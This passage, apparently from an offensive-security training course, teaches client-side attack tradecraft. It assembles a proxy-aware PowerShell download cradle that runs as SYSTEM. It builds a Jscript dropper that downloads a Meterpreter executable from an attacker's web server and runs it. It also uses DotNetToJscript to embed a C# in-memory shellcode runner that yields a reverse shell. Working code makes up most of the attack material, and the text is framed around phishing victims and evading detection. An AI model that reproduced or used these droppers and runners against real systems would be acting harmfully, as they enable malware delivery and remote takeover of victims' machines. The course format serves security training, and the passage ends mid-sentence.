Listing 108 - Finding a user hive based on SID

To fetch the content of the registry key, we'll use the
Get-ItemProperty[185] cmdlet as shown in Listing
109.

Get-ItemProperty accepts the path (-Path) for the registry key,
but since we manually mapped the HKEY_USERS registry hive, we must
specify it before the registry path and key we desire, eliminating the
need to specify the "HKEY_USERS" string.

$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer

Listing 109 - Fetching the proxy settings from
registry key

The code shown above gathers the proxy server IP address and network
port from the registry and assigns it to the $proxyAddr variable.
Now we must turn the contents of the variable into a proxy object that
we can assign to our Net.WebClient object.

To do this, we'll create a new object from the WebProxy[186]
class and assign it as the DefaultWebProxy that is built into all
Net.WebClient objects. The constructor takes one argument, which
is the URL and port of the proxy server, i.e.: the value we have just
resolved from the registry.

$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")

Listing 110 - Create and assign proxy
object for the SYSTEM user

Now we have all the pieces needed to create a proxy-aware
PowerShell download cradle running in SYSTEM integrity. Let's
assemble all the code segments into the code shown in Listing
111.

New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start = $key.Name.substring(10);break}}
$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")

Listing 111 - Full code for SYSTEM
integrity proxy aware download cradle

Notice that we have changed the name of the PowerShell shellcode
runner script from run.ps1 to run2.ps1 in the last
line of the script since PowerShell may cache the file and affect our
results.

When running the complete code, be aware that mapping HKEY_USERS
will persist across reruns of the code so the PowerShell_ISE prompt
must be closed for the full code to run if previous incremental steps
have been executed.

Before executing the updated PowerShell script, we'll make a copy
of the run2.ps1 PowerShell shellcode runner in the Kali web
root.

Once executed, the download cradle will now use the correct proxy
server. We can observe this in the last entry of the Apache access
logs:

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.12 - - [09/Jun/2020:14:47:25 -0400] "GET /run2.ps1 HTTP/1.1" 304 182 "-" "-"

Listing 112 - Apache access log entry
after SYSTEM download cradle

The HTTP request is routed through the proxy server and will allow
our download cradle to call back to our C2 even when all traffic must
go through the proxy.

Now our download cradle is versatile enough to handle communication
through a proxy, even as SYSTEM.

Exercise

  1. Recreate the steps in this section to obtain a HTTP request through
    the proxy.

Wrapping Up

In this module, we focused on exploiting the user's behavior and
discussed how to craft convincing pretexts. We introduced client-side
execution and discussed how malware can operate through Microsoft
Office and PowerShell. We greatly improved our tradecraft to execute
arbitrary Win32 APIs directly in memory from either VBA or PowerShell,
and included network proxy support.

Gaining an initial shell on a client is a crucial first step. We'll
discuss other techniques for this critical skill in later modules.

Client Side Code Execution With Windows Script Host

As discussed in the previous module, Microsoft Office VBA macros
are an effective and popular way to gain client-side code execution.
However, JavaScript attachments are equally effective for this task,
and have recently gained in popularity.[187]

In this module, we'll use the Jscript[188] file format to
execute Javascript on Windows targets through the Windows Script
Host.[189] Specifically, we will use these Jscript droppers to
execute powerful client-side attacks.

Examples of recent advanced Jscript-based malware strains include
TrickBot[190] and Emotet,[191] both of which are under
constant development.

We'll begin with a simple dropper that opens a command prompt and
gradually improve our attack by reflectively loading pre-compiled C#
assembly to execute our shellcode runner completely in memory.

Let's begin with a foundational discussion about the JavaScript
language.

Creating a Basic Dropper in Jscript

The primary client scripting language for web browsers is JavaScript,
which is an interpreted language that is processed inside the browser
and commonly works together with HTML and CSS to create most of the
content on the World Wide Web. The functionality of JavaScript is
based on the ECMAScript[192] standard.

Jscript is a dialect of JavaScript developed and owned by Microsoft
that is used in Internet Explorer. It can also be executed outside
the browser through the Windows Script Host,[75-1] which can execute
scripts in a variety of languages.

When executed outside of a web browser, Jscript is not subject to
any of the security restrictions enforced by a browser sandbox. This
means we can use it as a client-side code execution vector without
exploiting any vulnerabilities.

Execution of Jscript on Windows

In order to use a file type in a phishing attack, it must be easily
executable. For this reason, some file types are better suited for
phishing attacks than others. To demonstrate this, let's inspect
PowerShell and Jscript files on our victim machine and see how they
are handled by Windows.

In Windows, a file's format is identified by the file extension
and not its actual content. Additionally, file extensions are often
associated with default applications. To view these associations, we
can navigate to Settings > Apps > Default apps, scroll to the
bottom, and click on Choose default apps by file type as displayed
in Figure 1.

Figure 1: Default apps by file type

Scrolling down the list, we notice that the default application for
PowerShell scripting files (.ps1) is Notepad. This means that
if we double-click on a PowerShell script, it will not be executed but
instead will be opened for editing in Notepad. Because of this, even
if we were able to convince the victim to double-click a PowerShell
file, it would not be executed.

On the other hand, the default application for .js files is
the Windows-Based Script Host. This means that if we double-click a
.js file, the content will be executed.

As mentioned previously, executing Jscript outside the context of
a web browser bypasses all security settings. This allows us to
interact with the older ActiveX[193] technology and the Windows
Script Host engine itself. Let's discuss what we can do with this
combination.

As shown in the code in Listing 1, we can
leverage ActiveX by invoking the ActiveXObject[194]
constructor by supplying the name of the object. We can then use
WScript.Shell to interact with the Windows Script Host Shell to
execute external Windows applications. For example, we can instantiate
a Shell object named "shell" from the WScript.Shell class through
the ActiveXObject constructor to run cmd.exe through the Run
command:

var shell = new ActiveXObject("WScript.Shell")
var res = shell.Run("cmd.exe");

Listing 1 - Jscript launching cmd.exe through ActiveX

After saving the code to a file with the .js extension and
double-clicking it, the script is executed and launches a command
prompt. The Windows Script Host itself exits as soon as the Jscript
file is complete so we don't see it in Process Explorer.

In the next section, we'll build upon this to create a Jscript dropper
that will execute a Meterpreter reverse shell.

Exercises

  1. Create a simple Jscript file that opens an application.
  2. Look through the list of default applications related to file
    types. Are there any other interesting file types we could leverage?
  3. The .vbs extension is also linked to the Windows Script
    Host format. Write a simple VBScript file to open an application.

Jscript Meterpreter Dropper

Next, we'll expand our usage of Jscript to create a dropper that
downloads a Meterpreter executable from our Kali Linux web server and
executes it. This will require several components.

First, we'll use msfvenom to generate a 64-bit Meterpreter reverse
HTTPS executable named met.exe and save it to our Kali
web root. We'll also set up a Metasploit multi/handler to catch the
session.

With our executable generated and our handler waiting, let's begin
building our dropper code. We'll start with a simple HTTP GET request
from Jscript.

To do that, we can use the MSXML2.XMLHTTP object,
which is based on the Microsoft XML Core Services,[195] and its
associated HTTP protocol parser. This object provides client-side
protocol support to communicate with HTTP servers. Although it is not
documented, it is present in all modern versions of Windows.

As shown in Listing 2, we can use the
CreateObject method of the Windows Script Host to instantiate the
MSXML2.XMLHTTP object, and then use Open and Send
methods to perform an HTTP GET request. The Open method takes
three arguments. The first is the HTTP method, which in our case is
GET. The second argument is the URL, and the third argument indicates
that the request should be synchronous.

To summarize our code, we'll use the (url) variable to set the URL
of the Meterpreter executable. Then we'll create a Windows Script
MSXML2.XMLHTTP object and call the Open method on that object to
specify a GET request along with the URL. Finally, we'll send the GET
request to download the file.

var url = "http://192.168.119.120/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

Listing 2 - HTTP GET request from Jscript

Now that we have sent the HTTP GET request, we'll perform two actions.
The first is to detect if the request was successful. This can be done
by checking the Status[196] property of the MSXML2.XMLHTTP
object and comparing it to the value "200", the HTTP OK[197] status
code. We can do this with an if statement:

if (Object.Status == 200)
{

Listing 3 - Checking the HTTP status

After receiving a successful status, we'll create a Stream[198]
object and copy the HTTP response into it for further processing.
The Stream object is instantiated from ADODB.Stream through the
CreateObject method.

var Stream = WScript.CreateObject('ADODB.Stream');

Listing 4 - Creating a Stream object

Next, we'll invoke Open[199] on the Stream object and
begin editing the properties of the stream. First, we'll set the
Type[200] property (adTypeBinary) to "1" to indicate we
are using binary content.

Next, we'll call the Write[201] method to save the
ResponseBody[202] (our Meterpreter executable) to the
stream.

Finally, we'll reset the Position[203] property to "0" to
instruct the Stream to point to the beginning of its content.

Stream.Open();
Stream.Type = 1; // adTypeBinary
Stream.Write(Object.ResponseBody);
Stream.Position = 0;

Listing 5 - Writing the Stream
object

So far, we have sent a GET request for our met.exe file,
and have validated that the request was successful. Next, we wrote
the binary content to our ADODB stream. Now, with the content stored
in the Stream object, we must create a file and write the binary
content to it. As shown in Listing 6, we
can use the SaveToFile[204] method.

This method takes two arguments: the first is the filename and
second are the save options, SaveOptionsEnum. We'll set the
filename to met.exe and set the SaveOptionsEnum to
adSaveCreateOverWrite, with the numerical value of "2" to force a
file overwrite. After we perform the SaveToFile action, we need to
Close[205] the Stream object:

Stream.SaveToFile("met.exe", 2);
Stream.Close();

Listing 6 - Saving the Meterpreter
executable to disk

As a final step, we'll reuse the Windows Script Host Shell to execute
the newly written Meterpreter executable.

var r = new ActiveXObject("WScript.Shell").Run("met.exe");

Listing 7 - Running the Meterpreter
executable

The complete Jscript code to download and execute our Meterpreter
shell is displayed below in Listing 8.

var url = "http://192.168.119.120/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("met.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("met.exe");

Listing 8 - Complete Jscript code to
download and execute Meterpreter shell

After saving this code as a .js file, all we need to do is
double-click it to get a 64-bit shell from the victim's machine to our
awaiting multi/handler listener.

Now that we've covered the basics of Jscript, we'll again expand our
tradecraft to implement an in-memory shellcode runner. Sadly, there
is no way to implement this directly in Jscript so we must rely on a
second language.

Exercises

  1. Replicate the Jscript file from this section.
  2. Modify the Jscript code to make it proxy-aware with the
    setProxy[206] method. You can use the Squid proxy server
    installed on the Windows 10 development machine.

Jscript and C#

To improve our Jscript tradecraft, and run our payload completely from memory,
we'll again invoke Win32 APIs just as we did in the Microsoft Office
module.

Previously, we used PowerShell for this. However, since PowerShell
has been used for many years by both penetration testers and malware
authors, security solution providers (Microsoft included) have
tried to take steps against malicious use of it. In this module, we will instead
leverage C# which has, until recently, not been in the spotlight. This
could reduce our profile and may help avoid detection.

Since there's no known way to invoke the Win32 APIs directly from
Jscript, we'll instead embed a compiled C# assembly in the Jscript
file and execute it. This will give us the same capabilities as
PowerShell since we will have comparable access to the .NET framework.
This is a powerful technique that has recently gained a lot of
attention and popularity.

Before we build this, let's cover some basics of the C# development
environment (Visual Studio[207]), which is already installed on the
Windows 10 development machine.

Introduction to Visual Studio

There are two primary integrated development environments (IDE)[208]
focused on developing and compiling C# applications: Mono[209]
and Microsoft Visual Studio. In this course, we will leverage Visual
Studio, but most (if not all) code examples will also compile with
Mono.

Visual Studio is already installed on the Windows 10 development
machine, but when it is reverted, all previously written code will be
lost. To solve this issue, we'll create a Kali Samba[210] share
for our code to save our code between system reverts.

To set up Samba on Kali, we'll install it with apt,
make a backup of its configuration file (smb.conf),
and create a fresh configuration file as shown in Listing
9.

kali@kali:~$ sudo apt install samba
...
kali@kali:~$ sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old

kali@kali:~$ sudo nano /etc/samba/smb.conf

Listing 9 - Installing Samba on Kali
Linux

We'll create the new simple SMB configuration file with the contents
given in Listing 10. If we choose to use
a different user account, we can simply alter the path variable:

[visualstudio]
 path = /home/kali/data
 browseable = yes
 read only = no

Listing 10 - New content of smb.conf

Next, we need to create a samba user that can access the share and
then start the required services as shown below:

kali@kali:~$ sudo smbpasswd -a kali
New SMB password:
Retype new SMB password:
Added user kali.

kali@kali:~$ sudo systemctl start smbd

kali@kali:~$ sudo systemctl start nmbd

Listing 11 - Creating SMB user and
starting services

Finally, we'll create the shared folder and open up the permissions
for Visual Studio:

kali@kali:~$ mkdir /home/kali/data

kali@kali:~$ chmod -R 777 /home/kali/data

Listing 12 - Creating the shared folder
and setting permissions

With everything set up, we'll turn to our Windows 10 development
machine. First, we'll open the new share in File Explorer
(\\192.168.119.120 in our case). When prompted, we'll enter
the username and password of the newly created SMB user and select the
option to store the credentials.

Now that our environment is set up, let's create a new "Hello World"
project. We'll launch Visual Studio from the taskbar and choose
Create a new project from the splash screen.

Next, we'll set the Language drop down menu to C# and
select Console App (.NET Framework) as shown in Figure
2.

Figure 2: Selecting a C# Console App

After selecting the project type and clicking next, we must
set the Location of the project. In our case, we'll use the
visualstudio folder on our network share. For the remaining
options, we'll accept the default values and click Create. It may
take some time to create the project.

Once Visual Studio opens, we'll find that we've created both a
solution and a project. The solution is a parent unit that may
contain multiple projects.

Let's take a moment to examine the basic workspace configuration. The
first window to make note of is the Solution Explorer on the far right side,
which can be thought of as the file and property explorer for the
solution's contents. Here we can see the source code file related to
the current project, which in our case is named Program.cs as
highlighted in Figure 3.

Figure 3: Using Solution Explorer

On the left side of the workspace, we can inspect the contents of the
file selected in the Solution Explorer. By default, this view will
show the contents of Program.cs. The code for a typical C#
console application is shown in Listing 13.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
        }
    }
}

Listing 13 - Default program stub for a C#
console application

Let's highlight significant parts of the code. As shown in Listing
13, the first five lines contain using
statements. These statements import the codebase from the .NET
framework. Next, the Main method defines the entry point of our
application when it is compiled.

Let's add a line of code inside the Main method to create our simple
application. We will use the Console.WriteLine[211] method to
print some text to the console when the application is executed.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello World");
        }
    }
}

Listing 14 - Adding the call to
Console.WriteLine

With our code added, we can save the changes with either File >
Save Program.cs or C+s. Next, we'll modify the
default solution settings before we compile our code. We'll switch
from Debug mode to Release[212] mode to remove the debugging
information that could trigger some security scanning software (Figure
4).

Figure 4: Choosing between Debug and Release mode

We can now compile our application by navigating to Build > Build
Solution
or Build > Build ConsoleApp1, which will compile
the whole solution or just the current project, respectively.
Whether the compilation succeeds or fails, we can view the output
in the Output window at the bottom of Visual Studio (Figure
5).

Figure 5: Output of the build process

Fortunately, our code compiled without any issues. The compilation
output also tells us the path to the newly compiled executable. In
our particular example, it saved to the following path:

\\192.168.119.120\visualstudio\ConsoleApp1\ConsoleApp1\bin\Release\ConsoleApp1.exe

Listing 15 - The path to our new executable

We can now open a command prompt on our Windows machine and enter this
path to execute our new program. After a few seconds, we are presented
with "Hello World" as shown in Listing 16.

C:\Users\Offsec> \\192.168.119.120\visualstudio\ConsoleApp1\ConsoleApp1\bin\Release\ConsoleApp1.exe
Hello World

Listing 16 - Executing the Hello World application

Exercises

  1. Set up the Samba share on your Kali system as shown in this
    section.
  2. Create a Visual Studio project and follow the steps to compile and
    execute the "Hello World" application.

DotNetToJscript

Now that we've discussed the basics of Visual Studio, let's introduce
C# code into our Jscript.

In 2017, security researcher James Forshaw[213] created the
DotNetToJscript[214] project that demonstrated how to execute C#
assembly from Jscript. In this section, we'll use this technique to
create our in-memory shellcode runner.

First, we need to download the DotNetToJscript project
from GitHub or use the version stored locally at
C:\Tools\DotNetToJscript-master.zip on the Windows 10
development machine. We'll extract it, copy it to our Kali Samba
share, and open it in Visual Studio.

When opening the Visual Studio solution from a remote location, a
security warning, similar to the one below, prompts us asking if we
really want to open it.

Figure 6: Security warning when opening a remote project

The security warning raises awareness about the potential for
malicious code in configuration files that could lead to arbitrary
code execution. Essentially, a remote project can become a client side
code execution vector.

When opening the Visual Studio project, ensure that the Samba
path matches that of your Kali system and accept the security
warnings.

Once we've opened DotNetToJscript in Visual Studio, we'll navigate
to the Solution Explorer and open TestClass.cs under the
ExampleAssembly project.

We'll compile this as a .dll assembly, which we'll execute in
Jscript. This simple project will display a "Test" message box.

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

[ComVisible(true)]
public class TestClass
{
    public TestClass()
    {
        MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
    }

    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}

Listing 17 - The default
ExampleAssembly code

Jscript will eventually execute the content of the TestClass method,
which is inside the TestClass class. In this case, we are simply
executing the MessageBox.Show[215] method.

Notice that the Solution Explorer lists a second project
(DotNetToJscript) that converts the assembly into a format that
Jscript can execute.

At this point, let's switch from Debug to Release mode and compile the
entire solution with Build > Build Solution.

When the solution is compiled, we need to move some files to
get DotNetToJscript to work correctly. We'll navigate to the
DotNetToJScript folder and copy DotNetToJscript.exe
and NDesk.Options.dll to the C:\Tools
folder on the Windows 10 development machine. Then we'll
go to the ExampleAssembly folder and also copy
ExampleAssembly.dll to C:\Tools. Note that
these .dll files must be in place whenever we execute a
DotNetToJscript program.

After copying the required files, we'll open a command prompt on our
Windows machine and navigate to the C:\Tools folder.

We need to set a few options at runtime. First, we'll specify
the script language to use (JScript) with --lang along
with --ver to specify the .NET framework version. On
the newest versions of Windows 10, only version 4 of the .NET
framework is installed and enabled by default, so we'll specify
v4. Next, we'll specify the input file, which in our case
is ExampleAssembly.dll. Finally, we'll use the -o
flag to specify the output file, in our case a Jscript file. The full
command is shown in Listing 18.

C:\Tools> DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

Listing 18 - Invoking
DotNetToJscript to create a Jscript file

Now that the file is created, we can double-click it to run it. This
displays our simple popup:

Figure 7: Message box spawned by our Jscript file

Let's examine the Jscript code generated by DotNetToJscript to get an
idea of what, exactly happened. We'll open demo.js in a text
editor to view this code.

This code begins with three functions: setversion, debug, and
base64ToStream.

function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
	var enc = new ActiveXObject("System.Text.ASCIIEncoding");
	var length = enc.GetByteCount_2(b);
	var ba = enc.GetBytes_4(b);
	var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
	ba = transform.TransformFinalBlock(ba, 0, length);
	var ms = new ActiveXObject("System.IO.MemoryStream");
	ms.Write(ba, 0, (length / 4) * 3);
	ms.Position = 0;
	return ms;
}

Listing 19 - First helper
functions of Jscript file

Let's examine each of these. The setversion function configures the
Windows Script Host to use version 4.0.30319 of the .NET framework:

new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';

Listing 20 - First helper function

The second function (debug) is empty since we did not specify the
debug flag (-d) when invoking DotNetToJscript:

function debug(s) {}

Listing 21 - Second helper function

Finally, the base64ToStream function is simply a Base64 decoding
function that leverages various .NET classes through ActiveXObject
instantiation:

function base64ToStream(b) {
...
}

Listing 22 - Third helper
function

Following the helper functions, we find the main content of the script
as shown in Listing 23.

var serialized_obj = "AAEAAAD/////AQAAAA...

var entry_class = 'TestClass';

try {
	setversion();
	var stm = base64ToStream(serialized_obj);
	var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
	var al = new ActiveXObject('System.Collections.ArrayList');
	var d = fmt.Deserialize_2(stm);
	al.Add(undefined);
	var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
	
} catch (e) {
    debug(e.message);
}

Listing 23 - Code to decode
and deserialize the C# assembly

Let's analyze this code. First, a Base64 encoded binary blob is
embedded into the file. This is our compiled C# assembly.

var serialized_obj = "AAEAAAD/////AQAAAA...

Listing 24 - Base64 encoded
binary blob

Next, we specify the name of the class inside the compiled assembly
that we want to execute. In our case it's named TestClass:

var entry_class = 'TestClass';

Listing 25 - Testclass
variable

After specifying the name of the class, the heart of the script
begins.

First, we set the .NET framework version and Base64-decode the blob
as shown in Listing 26.
Next, a BinaryFormatter[216] object is instantiated,
from which we call the Deserialize[217] method. At this point,
the d variable contains the decoded and deserialized assembly
ExampleAssembly.dll in memory.

setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var d = fmt.Deserialize_2(stm);

Listing 26 - Base64 decoded
binary blob

To execute the relevant method inside the assembly, we'll use the
DynamicInvoke[218] and CreateInstance[219] methods.
DynamicInvoke accepts an array of arguments but no arguments are
required by the constructor of the "TestClass" class.

We solve this by creating an array assigned to the "al"
variable, then add an undefined object to keep it empty and
convert it to an array through ToArray(). This creates an
empty array which is passed to DynamicInvoke as shown in Listing
27.

var al = new ActiveXObject('System.Collections.ArrayList');
...
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

Listing 27 - DynamicInvoke
code

Finally we execute the constructor through CreateInstance by supplying
its name, which is stored in entry_class.

Now, thanks to DotNetToJscript, we have the framework we can use to
easily convert any C# code into a format that can be executed from a
Jscript file. This brings us closer to having the ability to execute
Win32 APIs.

Exercises

  1. Set up the DotNetToJscript project, share it on the Samba share,
    and open it in Visual Studio.
  2. Compile the default ExampleAssembly project and convert it into a
    Jscript file with DotNetToJscript.
  3. Modify the TestClass.cs file to make it launch a command
    prompt instead of opening a MessageBox.

Win32 API Calls From C#

With the simple example behind us, we'll now rehearse how to make
calls to arbitrary Win32 APIs. We can leverage the DllImport
statement used in a previous module to import and link any Win32 APIs
into C#. We'll need to once again translate the C-style argument data
types to C# through the P/Invoke technique.

When calling Win32 APIs from PowerShell (in the previous module),
we demonstrated the straightforward Add-Type method and the
more complicated reflection technique. However, the complexity of
reflection was well worth it as we avoided writing C# source code and
compiled assembly files temporarily to disk during execution. Luckily,
when dealing with C#, we can compile the assembly before
sending it to the victim and execute it in memory, which will avoid
this problem.

Let's make a proof-of-concept example that imports MessageBoxA
and calls it from C#. To simplify this, we'll use the Visual Studio
solution we created for the Hello World example.

First we'll look up MessageBox on
www.pinvoke.net[220] to help translate the C data
types to C# data types.

To use MessageBoxA, we need an import statement added inside the
Program class but outside the Main method, as shown in Listing
28. With the Win32 API imported, we
simply invoke it by supplying text and a caption as highlighted below.

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp1
{
    class Program
    {
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
        public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);

        static void Main(string[] args)
        {
            MessageBox(IntPtr.Zero, "This is my text", "This is my caption", 0);
        }
    }
}

Listing 28 - C# code to import and use
MessageBoxA

As shown in Figure 8, Visual Studio
highlights potential issues with the DllImport statement due to
missing namespaces. To use the DllImport statement and invoke the
Win32 APIs, we have to use the two namespaces (System.Diagnostics
and System.Runtime.InteropServices) as shown below.

Figure 8: Missing namespaces

In addition, we need to add the core System namespace that provides
us access to all basic data types such as IntPtr. Here's our full
code so far:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    class Program
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);

        static void Main(string[] args)
        {
             MessageBox(IntPtr.Zero, "This is my text", "This is my caption", 0);
        }
    }
}

Listing 29 - Full code

At this point, we can compile the application without errors and
launch it from the command prompt. This should generate a popup with
our text.

Now that we've again demonstrated how to import and call Win32 APIs
from C# without having to use reflection, in the next section we'll
recreate our PowerShell shellcode runner in C#.

Exercise

  1. Implement the Win32 MessageBox API call in C# as shown in this
    section.

Shellcode Runner in C#

Now that we have the basic framework, we can reuse the shellcode
runner technique from both VBA and PowerShell and combine
VirtualAlloc, CreateThread, and WaitForSingleObject to execute
shellcode in memory.

The first step is to use DllImport to import the three Win32 APIs and
configure the appropriate argument data types. This is unchanged from
our experience with Add-Type and PowerShell. The imports are shown
in Listing 30.

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, 
    uint flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, 
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

Listing 30 - Importing Win32 APIs
for shellcode runner

Next, we need to generate our shellcode. Keep in mind that on a 64-bit
Windows operating system, Jscript will execute in a 64-bit context
by default so we have to generate a 64-bit Meterpreter staged payload
in csharp format. While we're at it, we'll set up our multi/handler
with the same payload.

Calling the APIs from C# is similar to our experience with
PowerShell. However, we do not have to specify .NET namespaces like
[System.Runtime.InteropServices.Marshal] or the runtime compiled
classes to invoke them.

In Listing 31, the calls to the three
Win32 APIs along with the managed to unmanaged memory copy are
present, and constitute the last part of the shellcode runner. This
should look very similar to what we did earlier.

Let's discuss a few details of this code, starting with the variable
declarations. The first, buf, is our shellcode. Next is our size
variable that stores the size of our buf variable. As mentioned
earlier, we use Marshal.Copy, but don't have to specify the .NET
namespace of [System.Runtime.InteropServices.Marshal].

byte[] buf = new byte[626] {
  0xfc,0x48,0x83,0xe4,0xf0,0xe8...

int size = buf.Length;

IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

Marshal.Copy(buf, 0, addr, size);

IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

WaitForSingleObject(hThread, 0xFFFFFFFF);

Listing 31 - Win32 APIs called from C#
to execute shellcode

We'll once again use the WaitForSingleObject API to let the
shellcode finish execution. Otherwise, the Jscript execution would
terminate the process before the shell becomes active.

Here's the full code of our C# shellcode runner:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            byte[] buf = new byte[630] {
  0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
  ...
  0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

Listing 32 - Win32 APIs
called from C# to execute shellcode full code

Before compiling this project, we must set the CPU architecture
to x64 since we are using 64-bit shellcode. This is done through
the CPU drop down menu, where we open the Configuration Manager as
shown in Figure 9.

Figure 9: Opening Configuration Manager in Visual Studio

In the Configuration Manager, we choose <New...> from the Platform
drop down menu and accept the new platform as x64, as shown in
Figure 10.

Figure 10: Opening Configuration Manager in Visual Studio

Now we'll need to compile the C# project, which will generate an
executable on our Samba share. Executing it will give us a reverse
Meterpreter shell.

Nice. We are one step closer. In the next section we will get this
running in the context of the DotNetToJscript project.

Exercise

  1. Recreate the C# shellcode runner and obtain a reverse shell.

Jscript Shellcode Runner

Now that we have the C# shellcode runner working, we must modify the
ExampleAssembly project in DotNetToJscript to execute the shellcode
runner instead of the previous simple proof of concept code. We'll
also generate a Jscript file with the compiled assembly so we can
launch the shellcode runner directly from Jscript.

As mentioned earlier, any declarations using DllImport must be placed
in the relevant class, but outside the method it is used in. In this
case, we need to put them in the TestClass class as shown below in
Listing 33.

Note that we added the needed namespaces at the beginning of the
project with the "using" keyword followed by the namespace:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, 
      uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, 
      IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

...

Listing 33 - Win32 APIs imported
in ExampleAssembly

Next, we'll add the same shellcode and method calls inside the
TestClass method as in our standalone project:

public TestClass()
{
      byte[] buf = new byte[626] {
          0xfc,0x48,0x83,0xe4,0xf0,0xe8...

      int size = buf.Length;

      IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

      Marshal.Copy(buf, 0, addr, size);

      IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

      WaitForSingleObject(hThread, 0xFFFFFFFF);
}

Listing 34 - Win32 APIs used for
shellcode execution

Before we compile the ExampleAssembly project, we need to specify
the x64 platform. After compilation, we need to copy the compiled DLL
